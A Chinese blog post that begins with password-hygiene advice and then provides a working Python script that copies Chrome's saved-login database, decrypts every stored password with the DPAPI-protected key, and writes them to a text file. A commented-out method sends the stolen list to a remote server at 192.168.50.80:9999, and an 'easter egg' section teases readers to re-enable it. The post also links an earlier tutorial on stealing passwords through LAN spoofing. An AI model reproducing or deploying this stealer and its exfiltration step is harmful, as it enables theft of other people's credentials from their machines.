密码疑似泄露?究竟问题出在哪儿?如何导出浏览器中的密码?

作者:FancyPig | 发布时间: | 更新时间:

前言

之前有写过一篇在局域网欺诈获取密码的教程

data-postsbox="{"id":192,"title":"如何通过局域网欺诈获取账户密码","author":"FancyPig","author_id":1,"cover_image":"","cover_video":"","views":3489,"comment_count":2,"category":"project","is_forum_post":false}">{"id":192,"title":"如何通过局域网欺诈获取账户密码","author":"FancyPig","author_id":1,"cover_image":"","cover_video":"","views":3489,"comment_count":2,"category":"project","is_forum_post":false}

最近很多人说自己账户感觉像是被盗了一样,究竟问题出在哪里呢?

习惯

个人认为导致账户被盗、密码泄露的最主要原因还是习惯的问题。这里的习惯主要是每个人的上网习惯密码设置的习惯。

上网习惯

很多人喜欢用浏览器自动保存密码的功能,这样下次就不用再输入密码了,虽然方便了自己,但在风险面前也方便了他人。

浏览器保存了密码,万一再不小心用了自动填充的功能,如果你不同网站使用的同一个用户名,密码会自动填入,如果你手速再快些不小心提交了,密码就直接写入到数据库中了。因此,建议大家如果习惯好一些可以使用无痕浏览,可以一定程度上避免账户密码泄露以及浏览痕迹泄露。

密码设置习惯

大多数人密码设置都是姓名生日再加上字符,或者就是简单的123!@#qwedsazxc这样的弱口令组成,而且基本上全部平台都用的同一两组密码,一旦有平台密码泄露,黑客会尝试通过相同的用户和密码在其他网站访问你的账户,这就是传说中的“撞库”。因此,这里建议大家在设置密码的时候可以多用点心,如果你有好的密码设计方案,欢迎在评论区留言。

这里提供一个github上开源的全球用户弱口令字典库,可以研究学习。

此处内容已隐藏,请评论后刷新页面查看.

如何导出浏览器中的密码

这里仅以Chrome360浏览器为例,其他的浏览器导出浏览器密码的思路类似,这里不再赘述

Chrome浏览器

然后选择右上角的三个点,点导出密码

360浏览器

程序员的打开方式

当然,如果你觉得上面的方法都太low了,想用程序员高逼格的方式导出密码,我们可以使用python来完成,这里以Chrome浏览器为例

安装依赖模块

pip install pypiwin32
pip install paramiko

相关代码

Chrome80小于80版本

使用的比较少,这里就把代码放在评论框里了

此处内容已隐藏,请评论后刷新页面查看.

Chrome大于80版本

我们需要建两个文件,一个是main.py

import os
import sys
import  shutil
import  sqlite3
import  win32crypt
import json,base64
import requests
import aesgcm

APP_DATA_PATH= os.environ['LOCALAPPDATA']
DB_PATH = r'Google\Chrome\User Data\Default\Login Data'


def dpapi_decrypt(encrypted):
    import ctypes
    import ctypes.wintypes

    class DATA_BLOB(ctypes.Structure):
        _fields_ = [('cbData', ctypes.wintypes.DWORD),
                    ('pbData', ctypes.POINTER(ctypes.c_char))]

    p = ctypes.create_string_buffer(encrypted, len(encrypted))
    blobin = DATA_BLOB(ctypes.sizeof(p), p)
    blobout = DATA_BLOB()
    retval = ctypes.windll.crypt32.CryptUnprotectData(
        ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout))
    if not retval:
        raise ctypes.WinError()
    result = ctypes.string_at(blobout.pbData, blobout.cbData)
    ctypes.windll.kernel32.LocalFree(blobout.pbData)
    return result

def unix_decrypt(encrypted):
    if sys.platform.startswith('linux'):
        password = 'peanuts'
        iterations = 1
    else:
        raise NotImplementedError

    from Crypto.Cipher import AES
    from Crypto.Protocol.KDF import PBKDF2

    salt = 'saltysalt'
    iv = ' ' * 16
    length = 16
    key = PBKDF2(password, salt, length, iterations)
    cipher = AES.new(key, AES.MODE_CBC, IV=iv)
    decrypted = cipher.decrypt(encrypted[3:])
    return decrypted[:-ord(decrypted[-1])]

def get_key_from_local_state():
    jsn = None
    with open(os.path.join(os.environ['LOCALAPPDATA'],
        r"Google\Chrome\User Data\Local State"),encoding='utf-8',mode ="r") as f:
        jsn = json.loads(str(f.readline()))
    return jsn["os_crypt"]["encrypted_key"]

def aes_decrypt(encrypted_txt):
    encoded_key = get_key_from_local_state()
    encrypted_key = base64.b64decode(encoded_key.encode())
    encrypted_key = encrypted_key[5:]
    key = dpapi_decrypt(encrypted_key)
    nonce = encrypted_txt[3:15]
    cipher = aesgcm.get_cipher(key)
    return aesgcm.decrypt(cipher,encrypted_txt[15:],nonce)

class ChromePassword:
    def __init__(self):
        self.passwordList = []

    def get_chrome_db(self):
        _full_path = os.path.join(APP_DATA_PATH,DB_PATH)
        _temp_path = os.path.join(APP_DATA_PATH,'sqlite_file')
        if os.path.exists(_temp_path):
            os.remove(_temp_path)
        shutil.copyfile(_full_path,_temp_path)
        self.show_password(_temp_path)

    def show_password(self,db_file):
        conn = sqlite3.connect(db_file)
        _sql = 'select signon_realm,username_value,password_value from logins'
        for row in conn.execute(_sql):
            # print(type(row[2]))
            host = row[0]
            if host.startswith('android'):
                continue
            name = row[1]
            value = self.chrome_decrypt(row[2])######加密方式改變后的重點位置
            #密码解析后得到字节码,需要进行解码操作
            _info = 'url:%-40s username:%-20s password:%s\n' %(host,name,value)
            self.passwordList.append(_info)
        conn.close()
        os.remove(db_file)

    def chrome_decrypt(self,encrypted_txt):
        if sys.platform == 'win32':
            try:
                if encrypted_txt[:4] == b'\x01\x00\x00\x00':
                    decrypted_txt = dpapi_decrypt(encrypted_txt)
                    return decrypted_txt.decode()
                elif encrypted_txt[:3] == b'v10':
                    decrypted_txt = aes_decrypt(encrypted_txt)
                    return decrypted_txt[:-16].decode()
            except WindowsError:
                return None
        else:
            try:
                return unix_decrypt(encrypted_txt)
            except NotImplementedError:
                return None

    def save_passwords(self):
        with open('password.txt','w',encoding='utf-8') as f:
            f.writelines(self.passwordList)

    # def transfer_passwords(self):#可用於將保存好的密碼文件發給你
    #     try:
    #         #远程Flask对应的IP:PORT
    #         requests.post('http://192.168.50.80:9999/index',data=json.dumps(self.passwordList))
    #     except requests.exceptions.ConnectionError:
    #         pass


if __name__=="__main__":
    Main = ChromePassword()
    Main.get_chrome_db()
    Main.save_passwords()
   # Main.transfer_passwords()

还有一个aesgcm.py

import os
import sys

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import (
    Cipher, algorithms, modes
)

NONCE_BYTE_SIZE = 12

def encrypt(cipher, plaintext, nonce):
    cipher.mode = modes.GCM(nonce)
    encryptor = cipher.encryptor()
    ciphertext = encryptor.update(plaintext)
    return (cipher, ciphertext, nonce)

def decrypt(cipher, ciphertext, nonce):
    cipher.mode = modes.GCM(nonce)
    decryptor = cipher.decryptor()
    return decryptor.update(ciphertext)

def get_cipher(key):
    cipher = Cipher(
        algorithms.AES(key),
        None,
        backend=default_backend()
    )
    return cipher

然后运行Run

这里可以看到password.txt已经生成

我们可以打开txt文本看下,全部都保存了

彩蛋

上面的80之后版本代码注释掉了几行,大家可以自行探索一下,评论获取提示

此处内容已隐藏,请评论后刷新页面查看.

导出任意浏览器全部资料方法

这么好的内容,当然是留给我们的会员们了

此处内容已隐藏,PLUS会员及以上可见,请登录后查看特权
标签:密码, chrome浏览器, 密码获取, 密码欺诈, 导出密码, 浏览器密码, 360浏览器, 腾讯浏览器, QQ浏览器, 密码泄露